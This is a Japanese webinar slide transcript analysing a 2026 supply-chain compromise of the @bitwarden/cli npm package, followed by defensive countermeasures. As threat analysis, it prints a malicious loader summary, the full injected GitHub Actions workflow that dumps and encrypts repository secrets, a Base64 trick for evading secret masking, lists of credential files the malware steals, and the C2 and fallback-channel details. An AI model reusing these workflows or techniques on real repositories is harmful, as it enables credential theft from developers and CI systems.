Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Bitwarden ソフトウェアサプライチェーン攻撃 詳細解説

Avatar for GMO Flatt Security GMO Flatt Security
April 28, 2026
620

Bitwarden ソフトウェアサプライチェーン攻撃 詳細解説

弊社ウェビナー ( https://flatt.tech/takumi/event/bitwarden-202604 ) におけるCTO米内の講演資料です。
動画はこちら ( https://www.youtube.com/watch?v=oVgn-y78r4g )

Avatar for GMO Flatt Security

GMO Flatt Security

April 28, 2026

More Decks by GMO Flatt Security

Transcript

  1. 米内 貴志(よねうち たかし) 仕事&趣味: ものづくりを安全にすること 2019年〜 Flatt Security('21〜 CTO) 著書『Web

    ブラウザセキュリティ』等 セキュリティ・キャンプ '12 参加, '18-'24 スタッフ等 未踏ターゲット '21 / Quantum-Classical Programming Language ICC '23 アジア代表 / Head Captain CODE BLUE レビューボード '24-'25 自己紹介 © GMO Flatt Security Inc. All Rights Reserved. 2 / 50
  2. 起点は不変。Post-Exploitation の手法が事案ごとに変化中 事案 日付 エコシステム 起点(推定含む) Trivy Action 侵害 3/19

    GitHub Actions メンテナ系トークン漏洩 LiteLLM 侵害 3/24 PyPI メンテナ系トークン漏洩(Trivy から連鎖) Telnyx 侵害 3/27 PyPI メンテナ系トークン漏洩(Trivy から連鎖) axios 侵害 3/31 npm メンテナ系トークン漏洩(端末経由の S.E.) @bitwarden/cli 侵害 4/23 npm メンテナ系トークン漏洩 起点としては、いずれもメンテナや CI が抱えるトークンが攻撃者の手に渡ったという同じ構造 ただしトークンを得た後の手法は事案ごとに進化している。Bitwarden 事案はその現在地点 2026 年 3 月以降のソフトウェアサプライチェーン侵害 © GMO Flatt Security Inc. All Rights Reserved. 5 / 50
  3. トークンを得た後の手法が、3 つの軸で変化している 進化軸 ①: Trusted Publishing 有効下での悪性版を publish 進化軸 ②:

    並行発生した GitHub Actions Secrets 窃取攻撃 進化軸 ③: AI 製品への関心の高まり 本日はこの 3 点を、第 2 部 / 第 3 部 / 第 4 部 でそれぞれ深掘りする Bitwarden 事案で進化した 3 つのテクニック © GMO Flatt Security Inc. All Rights Reserved. 6 / 50
  4. @bitwarden/cli 侵害の概要 タイムライン、悪性パッケージ構成、ペイロード挙動、窃取対象 Trusted Publishing 下での侵害 OIDC 経路を通したまま publish に成功した経緯

    GitHub Action Secrets の窃取技法とその変化 並行進行した Actions Secrets 窃取と、その射程 攻撃者の AI 製品への関心 AI ツール config の標的化と、関連する別キャンペーンの観測 今後検討すべき対策 推移的依存の現実、構造的な再発要因、防御プレイブック 01 02 03 04 05 今日話すこと © GMO Flatt Security Inc. All Rights Reserved. 7 / 50
  5. @bitwarden/[email protected] を介して Infostealer が配布された事案 指標 内容 悪性バージョン @bitwarden/[email protected] 安全なバージョン 2026.3.0

    以前 / 2026.4.1 以降 公開時刻 2026/4/23 06:22:59 JST(npm registry _time 由来) テイクダウン時刻 4/23 08:30 JST 頃(Bitwarden 公式声明に基づく) ペイロード Bun 経由で実行される難読化 JS Infostealer 影響範囲 主に端末・CI/CD 上のローカルクレデンシャル Bitwarden社のサーバや Vault 本体への侵害は現時点で報告なし(ほっ…) Bitwarden 侵害(4/23): 概要 © GMO Flatt Security Inc. All Rights Reserved. 9 / 50
  6. パッケージの侵害と Secrets の窃取が並行して進行していた 4/23 06:22 悪性 publish @bitwarden/cli 2026.4.0 公開

    (OIDC 経由) 4/23 06:57 workflow 注入 bitwarden/clients に secrets 窃取 workflow 投入(1 回目失敗) 4/23 08:30 テイクダウン Bitwarden が 2026.4.0 を取り下げ (公式声明) 4/23 08:40 Secrets 窃取 vgrassia トークン で workflow 発火 artifact upload 完了 4/24 00:54 復旧 2026.4.1 公開 (provenance 付き) 4/23 06:22 npm publish が Trusted Publishing 有効下で成立 4/23 06:57 には、npm 侵害とは別経路で bitwarden/clients への攻撃が確認されている たった数時間の間に、publish 経路と Actions Secrets 経路の 2 系統が同日中に侵害された事案といえる Bitwarden 侵害(4/23): タイムライン © GMO Flatt Security Inc. All Rights Reserved. 10 / 50
  7. 差分はわずか 4 点。正規ビルド成果物の上にインジェクションを重ねた構成 項目 正規 2026.3.0 悪性 2026.4.0 package.json の

    version 2026.3.0 2026.4.0 package.json の scripts.preinstall (なし) node bw_setup.js (追加) bw_setup.js なし あり(新規注入) bw1.js なし あり(新規注入) bin エントリポイント 正規のビルド済 CLI 悪性 bw_setup.js に差し替え 既存の正規ビルド成果物の上に package.json + 2 ファイル + bin 差し替えだけを乗せた構成 他の TeamPCP キャンペーンでも共通して、基本あまり既存ファイルの差し替えは最小である 悪性 2026.4.0 の構成 © GMO Flatt Security Inc. All Rights Reserved. 11 / 50
  8. npm install でも、インストール後の bw 起動でも、いずれにせよ bw_setup.js が走る # パターン 1:

    install 時に preinstall フックが発火 $ npm install @bitwarden/cli # → package.json の "preinstall": "node bw_setup.js" が自動実行 # パターン 2: --ignore-scripts でも、bw 起動時に bin エントリが発火 $ npm install @bitwarden/cli --ignore-scripts $ bw login # → "bin": { "bw": "bw_setup.js" } が起動 直接依存だけでなく、間接依存で @bitwarden/cli を取り込んだプロジェクトでも preinstall は発火する 悪性 2026.4.0 の構成 - 発火点は2つ © GMO Flatt Security Inc. All Rights Reserved. 12 / 50
  9. Stage 1 (bw_setup.js ) は Bun を取得するだけのローダー。本体は Stage 2 の

    bw1.js // bw_setup.js (要約) try { execFileSync("bun", ["--version"], { stdio: "ignore" }); return; } catch {} const url = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${assetName}`; const zipBuf = await get(url); // ... unzip ... execFileSync(binPath, ["bw1.js"], { stdio: "inherit" }); Stage 1 ( bw_setup.js ) はわずか 4 KB の純粋なローダー ダウンロード元 github.com/oven-sh/bun/releases/... は正規インフラ マルウェア以外にも Bun をダウンロードするパッケージは一定数存在する こういう Stager はブロックもしにくいですね…… Stage 2 ( bw1.js ) は難読化された JavaScript(後述) Stage 1〜2: Bun のダウンロード + 悪性JSの起動 © GMO Flatt Security Inc. All Rights Reserved. 13 / 50
  10. クラウド系を狙いつつ(過去の TeamPCP 事案同様) 、新たにAI ツールの設定ファイルも標的化 種別 対象 SSH ~/.ssh/id_rsa ,

    id_ed25519 , id_ecdsa , id_dsa , known_hosts , authorized_keys Git ~/.gitconfig , ~/.git-credentials シェル履歴 ~/.bash_history , ~/.zsh_history , ~/.sh_history npm ~/.npmrc , プロジェクト直下 .npmrc , npm_[A-Za-z0-9]{36,} 環境変数 GitHub gh auth token 実行 / ghp_* / gho_* 走査 AWS / GCP ~/.aws/credentials , ~/.aws/config , ~/.config/gcloud/credentials.db .env プロジェクト直下のシークレット AI ツール(新規) ~/.claude.json 、 ~/.kiro/settings/mcp.json 、Cursor MCP 設定、 codex / aider 関連 Stage 2: 具体的な窃取内容 © GMO Flatt Security Inc. All Rights Reserved. 14 / 50
  11. C2 ドメインは他の侵害キャンペーンとも共有されている JSON → gzip → AES-256-GCM (32-byte key /

    12-byte IV 、毎回ランダム) → RSA-OAEP-SHA256 で AES 鍵を公開鍵でラップ → HTTPS POST → hxxps://audit[.]checkmarx[.]cx/v1/telemetry 本物は checkmarx[.]com で、Checkmarx 社ドメインに対する Typosquatting ドメイン いかにも安全なトラフィックと見せかけるための小細工 TeamPCP 系事案では共通して、このような OpSec(というか小細工)が見られる 同ドメイン名は 3 月の Checkmarx 系侵害でも C2 として観測されている 特に KICS 系侵害で用いられていた C2インフラは共通と思料 Stage 3: プライマリ C2 への持ち出し © GMO Flatt Security Inc. All Rights Reserved. 15 / 50
  12. GitHub という正規インフラ上に 3 系統 の代替経路が存在。ブロックが難しい構成 系統 仕組み コミットメッセー ジ埋め込み PAT

    正規表現 ^LongLiveTheResistanceAgainstMachines:([A-Za-z0-9+/]{1,100}={0,3})$ にマッチするコミットを GitHub 全体から検索、Base64 を二重デコードして攻撃者 PAT を取り出す ドメインローテー ションマーカー beautifulcastle プレフィックスに RSA 署名付きデータが続くコミットメッセージを検索 署名検証後代替 C2 ドメインとして利用 被害者リポジトリ への直接 push 窃取トークンで被害者アカウント上に {dune_word}-{dune_word}-{3 桁} 命名のリポジトリを作成 そこに暗号化済データを push し、外部から取得可能に いずれも api.github.com への通信であり、ドメインブロック単体では止められない構成 ペイロード本体を更新せずとも、攻撃者は GitHub 上にメッセージを置くだけで C2 を切り替えられる構成 Stage 4: GitHub フォールバック C2(3 系統) © GMO Flatt Security Inc. All Rights Reserved. 16 / 50
  13. $ curl -s 'https://registry.npmjs.org/@bitwarden/cli' \ | jq '.versions["2026.4.0"]._npmUser' { "name":

    "GitHub Actions", "email": "[email protected]", "trustedPublisher": { "id": "github", "oidcConfigId": "oidc:8764ccf5-7f27-402d-bc11-59317b5995b1" } } この oidcConfigId は 正規 2026.3.0 および復旧版 2026.4.1 と完全に同一 npm から見れば Bitwarden が長期トークンを持たずにパッケージを publish したように見える にもかかわらず、tarball の中身は明確に悪性であった ▼ 正規 publish パイプラインの侵害の上、悪性版がリリースされた 今回は Trusted Publishing 経由で悪性版が公開された © GMO Flatt Security Inc. All Rights Reserved. 20 / 50
  14. SHA (短縮) author 名 committer.date (JST) メッセージ verified 47c6f590 Isaiah

    Inuwa 4/23 02:38:24 Update action false (unsigned) ea44eef9 Isaiah Inuwa 4/23 02:38:24 Update action false (unsigned) ed1164f7 Isaiah Inuwa 4/23 06:07:24 Reapply false (unsigned) d5b8f8c0 Isaiah Inuwa 4/23 06:14:02 Reapply false (unsigned) 03df1ecd Isaiah Inuwa 4/23 06:18:53 Reapply false (unsigned) 全 5 コミットの author が Bitwarden 社員 Isaiah Inuwa に偽装 @bitwarden/[email protected] の publish は 4/23 06:22:59 JST = 03df1ecd の 4 分後(直後) Publish パイプライン側の侵害は bitwarden/clients の 5 連鎖コミットからなる © GMO Flatt Security Inc. All Rights Reserved. 21 / 50
  15. npm エンドポイントに GitHub OIDC トークンを投げて短期 NPM_TOKEN を入手する処理に置換 3 つ目: ed1164f

    — --provenance を外し、OIDC を手動で NPM_TOKEN に交換 © GMO Flatt Security Inc. All Rights Reserved. 24 / 50
  16. publish するファイル名を固定(push トリガーでは inputs 取るの困難なため?) 4 つ目: d5b8f8c — publish

    対象 tarball を悪性版にハードコード © GMO Flatt Security Inc. All Rights Reserved. 25 / 50
  17. echo $NPM_TOKEN | base64 -w 0 | base64 -w 0

    を仕込み、GHA の secrets マスク(元文字列 とのバイト一致でしかマスクしない)をすり抜けて平文でログに吐かせ、後から回収する 5 つ目: 03df1ec — NPM_TOKEN を Base64 二重エンコードでログ漏洩 © GMO Flatt Security Inc. All Rights Reserved. 26 / 50
  18. Trusted Publishing は長期トークン漏洩を防ぐが、ビルドパイプライン侵害には依然脆い 事案 publish に使われたトークン 攻撃者が握ったルート axios (3/31) 個人アカウントの長期

    NPM_TOKEN メンテナ端末侵害 → 長期トークン窃取 Bitwarden (4/23) Trusted Publishing の短期 OIDC / NPM_TOKEN publish workflow 改変 → 実行時にトークンを leak どちらも最終的には 「publish 権限のあるトークンを攻撃者が取得した」 という同じ結末 Trusted Publishing が変えたのは「攻撃の必要条件」に留まる 長期トークン窃取ではなく、GHA / publish パイプラインの改変権限を奪わねばならない NPM_TOKEN ではなく GITHUB_TOKEN や ACTIONS_ID_TOKEN_REQUEST_TOKEN を奪う必要がある 逆に publish workflow を書き換えられる立場を取られた瞬間、Trusted Publishing 単独では止まらない まとめ: Trusted Publishing もビルドパイプライン侵害には脆い © GMO Flatt Security Inc. All Rights Reserved. 27 / 50
  19. publish 系経路と無関係に、bitwarden/clients 上で別の侵害が進んでいた フィールド 値 Workflow run ID 24808363037 Actor

    / triggering_actor vgrassia (Bitwarden 社員、2011 年作成の既存アカウント) Event push Head branch irlvzwiosm Head SHA 0593c5ec... (author aDrupont4191 、現在 GitHub 上で 404) Created at 2026/4/23 08:40:37 JST Conclusion success Artifact files (1,762 bytes、未 expire、 08:40:43 JST upload) 並行進行: irlvzwiosm ブランチでの GHA Secrets 窃取 © GMO Flatt Security Inc. All Rights Reserved. 29 / 50
  20. name: irlvzwiosm on: { push: { branches: irlvzwiosm } }

    jobs: testing: runs-on: ubuntu-latest steps: - env: { VALUES: "${{ toJSON(secrets) }}" } # repo secrets を JSON 化 run: cat <<EOF > output.json\n$VALUES\nEOF - env: { PUBKEY: '-----BEGIN PUBLIC KEY----- ... -----END PUBLIC KEY-----' } run: | aes_key=$(openssl rand -hex 12) openssl enc -aes-256-cbc -in output.json -out out.enc -pass pass:$aes_key echo $aes_key | openssl rsautl -encrypt -pubin -inkey <(echo "$PUBKEY") > lookup.txt - uses: actions/upload-artifact@v4 with: { name: files, path: [out.enc, lookup.txt] } 注入された workflow の中身 © GMO Flatt Security Inc. All Rights Reserved. 30 / 50
  21. vgrassia のトークンによる push で workflow が発火、Status: Success・9 秒で完走し、artifact (out.enc +

    lookup.txt ) のアップロードまで成立した 実際に実行されてしまった (fix: ci #2 ) © GMO Flatt Security Inc. All Rights Reserved. 31 / 50
  22. bitwarden/clients の実 workflow から、dump され得た secrets を逆引きする 観測対象 参照場所 irlvzwiosm

    から見えるか AZURE_CLIENT_ID / TENANT_ID / SUBSCRIPTION_ID publish / build / deploy 系で top-level 参照 ◯ (repo or org secret) GITHUB_TOKEN 全 workflow ◯ (自動生成、当該 repo scope、run 終了で expire) Environment secrets ( CLI - NPM 内 NPM_TOKEN 等) environment: 宣言下の job のみ ✕ (irlvzwiosm は environment 未指定) Key Vault 配下の credentials (NPM publish / code-signing / AWS S3 等) get-keyvault-secrets@main で動的取得 ✕ (実体は Azure Key Vault) ▼ 重要 credentials は Azure Key Vault に隔離されており、dump 範囲は限定的とみられる どの secrets が抜かれた可能性があるのか © GMO Flatt Security Inc. All Rights Reserved. 32 / 50
  23. AI ツール系の認証情報リークが狙われている点が特徴的 範囲 典型的に含まれるもの 攻撃可用性 ~/.claude.json セッション ID、ワークスペース ID 直接の

    API キーではないが… MCP 設定 MCP サーバの URL + Bearer / API キー 多くは平文記載! 環境変数 平文 API キー 直接 LLM API 呼び出し 直接の平文 API キーとは限らないが、OAuth / Bearer / セッション ID も実質的に同等の攻撃可用性 MCP 設定は 複数 SaaS の Bearer トークンが集約 される構成になりがち AI ツール config の標的化: 何が実際に書かれているか © GMO Flatt Security Inc. All Rights Reserved. 34 / 50
  24. 攻撃者にとって LLM インフラへのアクセスにも一定の価値があるものと思料 窃取された LLM API キーはダークマーケットでの転売対象となり、即時の換金経路がある MCP 設定には Slack

    / GitHub / Notion 等の Bearer が集約しがちで、1 ファイルで複数 SaaS への侵害ルートを確保できる 侵害ホストを LLM リレーノード化する別キャンペーンも観測されている(後続スライドで詳述) なぜ攻撃者は AI ツール周辺に関心を持つのか © GMO Flatt Security Inc. All Rights Reserved. 35 / 50
  25. bw1.js 内には、被害者端末上の AI CLI をプルーブするコードが含まれている 列挙対象: Claude Code / Gemini

    CLI / Codex CLI / Kiro CLI / Aider / OpenCode の 6 種類 各 CLI に投げるプロンプトは以下 Hey! Just making sure you're here. If you are can you respond with 'Hello' and nothing else? このコード単体では、AI に何かを指示して悪事を働かせる挙動は無い。AI CLI が動くかどうかを確認しているだけ ただし、 nx s1ngularity 攻撃のように 侵害端末上の AI CLI を偵察・横展開に使う 流れは既に観測されている ▼ 「侵害端末で AI CLI が利用可能か」を計測している? 別の関心: 侵害先端末の AI CLI の悪用? © GMO Flatt Security Inc. All Rights Reserved. 36 / 50
  26. 侵害パッケージで被害者ホストを LLM リレーノード化する攻撃も観測されている Aikido が kube-health-tools (npm) / kube-node-health (PyPI)

    を解析した結果として観測されている事案 ネイティブバイナリのドロッパーが Stage 2 RAT を取得し、被害者ホスト上に OpenAI 互換 API ゲートウェイをデプロイする C2 ドメイン sync.geeker.indevs.in がリバーストンネル経由で SSH / SFTP / SOCKS5 等の複数ポートを制御している 動機面では、中国系の脅威アクターが地理的制限を回避するために LLM API リレーを商品として提供している事情がある 侵害ホスト経由で AI ツールを利用すると、コンテキストウィンドウごと攻撃者に渡る位置を取られる 出典: Aikido — GPT-proxy backdoor in npm and PyPI ▼ AI ツール周辺は、認証情報の窃取とインフラの再利用、両方の経路で標的になっている 別キャンペーン: GPT-proxy backdoor in npm/PyPI © GMO Flatt Security Inc. All Rights Reserved. 37 / 50
  27. 3 つの理由がある。いずれも一般化可能で、次の事案でも当てはまる 理由 1: 推移的依存 直接依存に書いていなくても、依存先が @bitwarden/cli を引いていれば preinstall は発火する

    ただし CLI ツールゆえ被依存は少なく、今回単体での射程は限定的 同手口がライブラリ系の高被依存パッケージに転用されれば推移的影響は広範になる 理由 2: 攻撃パターンは再利用可能 今回の Trusted Publishing 悪用、artifact 経由 Secrets ダンプ、AI config 窃取は どれも他パッケージに転用可能 理由 3: AI 駆動開発の進行 AI に依存追加を任せている時代、何が install されているか把握できていない 加えて、その AI ツール自身の設定が今回の窃取対象に含まれている(自己強化的なリスク) なぜ「(Bitwarden CLI を) 不使用だから OK」ではないのか © GMO Flatt Security Inc. All Rights Reserved. 39 / 50
  28. 利用者側の防御は 4 本柱に整理できる。1 つだけでは不十分で、組み合わせて初めて効く 柱 内容 代表的な手法 (1) 受け入れ評価 何を入れるかを厳しく評価する

    Dependency Cooldown、レジストリプロキシ、provenance 検証 (2) 依存固定 mutable な参照を潰す SHA pinning、lockfile、 npm ci (3) アーキテクチャ堅牢化 侵害されても連鎖しない構造にする ビルド/デプロイ分離、本番権限の最小化 (4) エンドポイント統制 CI/CD も端末と同じように守る eBPF トレース、ネットワーク可視化、メモリダンプ検知 対策: 4 本柱 © GMO Flatt Security Inc. All Rights Reserved. 40 / 50
  29. 「公開直後に飛びつかない」を仕組みにする。今回の Bitwarden 事案にも有効だった # npm v11+ / .npmrc min-release-age=7 #

    uv (Python) uv add --exclude-newer "3 days" <pkg-name> # GitHub Actions (pinact) pinact run --min-age 3 悪性 2026.4.0 は 約 93 分でテイクダウンされた(Bitwarden 公式声明) 3 日(最小)/ 7 日(推奨) の検疫期間を入れていた環境は、今回の検体に到達しなかった 注意: 数日待てば全て安全になるわけではない。長期間潜伏する検体も普通にある dropper 型は検疫期間中は無害で、通過後に C2 から本体を落とすこともできる (1) 受け入れ評価: Dependency Cooldown © GMO Flatt Security Inc. All Rights Reserved. 41 / 50
  30. pnpm v10+ は publish 経路の信頼度が下がるバージョンをブロックできる。ただし今回は効かない 事案 publish 経路の変化 no-downgrade で防げるか

    axios 侵害 (3/31) OIDC → 手動 publish に切替 防げる(実際にこの設定を入れていた環境はブロック済) Bitwarden 侵害 (4/23) OIDC を維持したまま中身が悪性 防げない(信頼度のダウングレードがないため検出不能) 侵害経路によって、効く防御・効かない防御が変わる これは「 trustPolicy を入れたから安心」ではなく、多層防御を組む必要があることを示している (1) 受け入れ評価: 信頼性ダウングレードの拒否 © GMO Flatt Security Inc. All Rights Reserved. 42 / 50
  31. npm config set registry https://npm.flatt.tech/ pip config set global.index-url https://pypi.flatt.tech/simple/

    1 コマンドで導入できる。無料で利用できる 弊社のリサーチチームが運用する脅威インテリジェンス基盤でブロックリストを構築 パッケージ公開を(ニア)リアルタイムで捕捉、静的解析・サンドボックス実行・HITL 判定を組み合わせ メール登録で 事後通知: ダウンロード後に悪性と判明した場合に通知を受け取れる (1) 受け入れ評価: Takumi Guard © GMO Flatt Security Inc. All Rights Reserved. 43 / 50
  32. 評価したものだけを再生し、それ以外は引き込まない # GitHub Actions: SHA pinning (mutable タグを使わない) uses: actions/[email protected]

    # v4.2.2 # npm: lockfile から再現性を担保 npm ci --ignore-scripts # pip: ハッシュ検証付きインストール pip install --require-hashes -r requirements.txt npm ci --ignore-scripts が CI/CD では標準。 preinstall 系攻撃の発火点を 1 つ潰す 注意: 今回の事案は ^1.x のような version range とは独立して、latest 範囲内の悪性混入 だった lockfile の更新タイミングで引き込まれうる → Cooldown と組み合わせて初めて防げる (2) 依存固定: lockfile + SHA pinning © GMO Flatt Security Inc. All Rights Reserved. 44 / 50
  33. 危険度: 高 ビルド 外部スクリプトが ガンガン動く場所 → 境界 アーティファクト ここだけが 両者の接点

    ← 本番権限あり デプロイ 参照して設置するだけ 任意コード実行はしない ビルドは外部依存のコードがガンガン動く場所。ここに本番の鍵を置かない デプロイは本番への強い権限を持つので、ビルドと同居させない アーティファクトだけが両者の接点になるような設計を意識する (3) アーキテクチャ堅牢化: ビルドとデプロイの分離 © GMO Flatt Security Inc. All Rights Reserved. 45 / 50
  34. CI/CD は エンドポイントの一種。端末を守るのと同等のテレメトリを取る 開発端末: EDR 等のエンドポイント監視は一定整備されつつある プロダクト環境: GuardDuty 等のマネージド監視も普及してきた CI/CD

    環境: ここはまだ間隙。マネージド GitHub Actions では特にログ・テレメトリが薄い Trivy・LiteLLM・axios・Bitwarden、いずれも CI/CD ランナー上で発火 そして検知が後手に回り、事後の影響範囲特定すら困難になる ▼ CI/CD 環境のログ・テレメトリ確保は 2026 年の重要テーマ (4) エンドポイント統制: CI/CD 環境の記録 © GMO Flatt Security Inc. All Rights Reserved. 46 / 50
  35. GitHub Actions の Runner として動作する ジョブごとに専用のエフェメラル VM を起動 独立したカーネル・ファイルシステム・ネットワークスタック コンテナ型と違い分離が強い

    eBPF でシステムコールレベルのトレース process_exec / net_connect / file_open どのプロセスがどこに通信したか / 何を読み書きしたか が全て見える 取得トレースは DuckDB クエリで分析可能 既知 IoC ベースの遡及検索ができる 有事のインシデントレスポンスに直結 Takumi Runner: eBPF トレーシング付き Runner © GMO Flatt Security Inc. All Rights Reserved. 47 / 50
  36. 明日は我が身と考え、ソフトウェアサプライチェーン攻撃に備えましょう! 第 1 部 @bitwarden/cli 侵害の概要 @bitwarden/[email protected] 経由で配布された情報窃取ペイロードが、端末ローカル資格情報を広く窃取 第 2

    部 Trusted Publishing 下での侵害技法 publish パイプライン ( bitwarden/clients ) が侵害されれば、Trusted Publishing でも publish トークンは抜き取られる 第 3 部 Action Secrets の窃取技法とその変化 同日中に GHA Secrets も並行して窃取された。Bitwarden 側は重要 credentials を Azure Key Vault に隔離する運用 第 4 部 攻撃者の AI 製品への関心 AI ツール config と LLM インフラそのものが標的化されている 第 5 部 「不使用だから OK」ではない・対策 Consumer 側の防御は受け入れ評価・依存固定・アーキテクチャ堅牢化・CI/CD エンドポイント統制の 4 本柱 本日のまとめ © GMO Flatt Security Inc. All Rights Reserved. 49 / 50